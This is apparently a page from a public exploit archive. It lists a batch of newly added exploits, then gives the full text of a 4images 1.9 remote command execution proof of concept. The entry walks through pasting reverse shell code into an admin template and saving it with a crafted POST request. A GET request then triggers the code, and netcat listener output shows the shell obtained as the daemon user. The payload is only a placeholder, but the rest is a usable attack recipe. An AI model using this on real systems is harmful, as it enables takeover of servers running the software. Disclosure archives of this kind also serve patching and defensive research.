42ade901fe
22 changes to exploits/shellcodes/ghdb LISTSERV 17 - Insecure Direct Object Reference (IDOR) LISTSERV 17 - Reflected Cross Site Scripting (XSS) Router ZTE-H108NS - Stack Buffer Overflow (DoS) Router ZTE-H108NS - Authentication Bypass Boa Web Server v0.94.14 - Authentication Bypass Covenant v0.5 - Remote Code Execution (RCE) Dreamer CMS v4.0.0 - SQL Injection Shoplazza 1.1 - Stored Cross-Site Scripting (XSS) Virtual Reception v1.0 - Web Server Directory Traversal 4images 1.9 - Remote Command Execution (RCE) ClicShopping v3.402 - Cross-Site Scripting (XSS) Concrete5 CME v9.1.3 - Xpath injection Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE) Ecommerse v1.0 - Cross-Site Scripting (XSS) Eve-ng 5.0.1-13 - Stored Cross-Site Scripting (XSS) myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS) WPForms 1.7.8 - Cross-Site Scripting (XSS) CrowdStrike Falcon AGENT 6.44.15806 - Uninstall without Installation Token Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path Zillya Total Security 3.0.2367.0 - Local Privilege Escalation
60 lines
No EOL
1.7 KiB
Text
60 lines
No EOL
1.7 KiB
Text
# Exploit Title: 4images 1.9 - Remote Command Execution (RCE)
|
|
# Exploit Author: Andrey Stoykov
|
|
# Software Link: https://www.4homepages.de/download-4images
|
|
# Version: 1.9
|
|
# Tested on: Ubuntu 20.04
|
|
|
|
|
|
To reproduce do the following:
|
|
|
|
1. Login as administrator user
|
|
2. Browse to "General" -> " Edit Templates" -> "Select Template Pack" -> "d=
|
|
efault_960px" -> "Load Theme"
|
|
3. Select Template "categories.html"
|
|
4. Paste reverse shell code
|
|
5. Click "Save Changes"
|
|
6. Browse to "http://host/4images/categories.php?cat_id=3D1"
|
|
|
|
|
|
// HTTP POST request showing reverse shell payload
|
|
|
|
POST /4images/admin/templates.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
|
|
101 Firefox/100.0
|
|
[...]
|
|
|
|
__csrf=3Dc39b7dea0ff15442681362d2a583c7a9&action=3Dsavetemplate&content=3D[=
|
|
REVERSE_SHELL_CODE]&template_file_name=3Dcategories.html&template_folder=3D=
|
|
default_960px[...]
|
|
|
|
|
|
|
|
// HTTP redirect response to specific template
|
|
|
|
GET /4images/categories.php?cat_id=3D1 HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
|
|
101 Firefox/100.0
|
|
[...]
|
|
|
|
|
|
# nc -kvlp 4444
|
|
listening on [any] 4444 ...
|
|
connect to [127.0.0.1] from localhost [127.0.0.1] 43032
|
|
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (20=
|
|
22-11-07) x86_64 GNU/Linux
|
|
13:54:28 up 2:18, 2 users, load average: 0.09, 0.68, 0.56
|
|
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
|
kali tty7 :0 11:58 2:18m 2:21 0.48s xfce4-sessi=
|
|
on
|
|
kali pts/1 - 11:58 1:40 24.60s 0.14s sudo su
|
|
uid=3D1(daemon) gid=3D1(daemon) groups=3D1(daemon)
|
|
/bin/sh: 0: can't access tty; job control turned off
|
|
$=20
|
|
|
|
|
|
|
|
|
|
|
|
--sgnirk-7d26becc-c589-46c6-a348-fe09d4b162fe-- |